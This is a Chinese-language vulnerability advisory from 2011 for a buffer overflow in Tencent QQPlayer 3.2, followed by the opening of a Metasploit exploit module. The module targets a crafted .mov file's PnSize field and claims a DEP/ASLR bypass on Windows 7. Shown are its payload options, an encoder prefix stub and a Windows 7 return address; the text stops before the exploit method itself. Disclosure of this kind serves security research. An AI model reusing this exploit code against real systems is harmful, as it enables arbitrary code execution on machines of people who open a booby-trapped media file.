发布日期:2011-11-21
更新日期:2011-11-22
受影响系统:
Tencent QQ影音 3.2
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 50739
QQ影音(QQPlayer)是腾讯公司推出的一款支持任何格式影片和音乐文件的本地播放器。
QQPlayer在实现上存在缓冲区溢出漏洞,成功利用后可允许远程攻击者执行任意代码,造成拒绝服务。
<*来源:hellok
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
hellok ()提供了如下测试方法:
# Exploit Title: QQPLAYER PICT PnSize Buffer Overflow WIN7 DEP_ASLR BYPASS
# Date: 2011,11,21
# Author: hellok
# Software Link:
# Version: 32_845(lastest)
# Tested on: WIN7
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'QQPLAYER PICT PnSize Buffer Overflow WIN7 DEP_ASLR BYPASS',
'Description' => %q{
This module exploits a vulnerability in QQPLAYER Player 3.2.
When opening a .mov file containing a specially crafted PnSize value, an attacker
may be able to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' =>
[
'hellok', #special thank corelanc0d3r for 'mona'
],
'References' =>
[
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'DisablePayloadHandler' => 'true',
},
'Payload' =>
{
'Space' => 750,
'BadChars' => "", #Memcpy
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
'DisableNops' => 'True',
'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
'EncoderOptions' =>
{
'BufferRegister' => 'ECX',
},
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows 7', { 'Ret' => 0x67664cde } ],
],
'Privileged' => false,
'DisclosureDate' => '11 21 2011',
'DefaultTarget' => 0))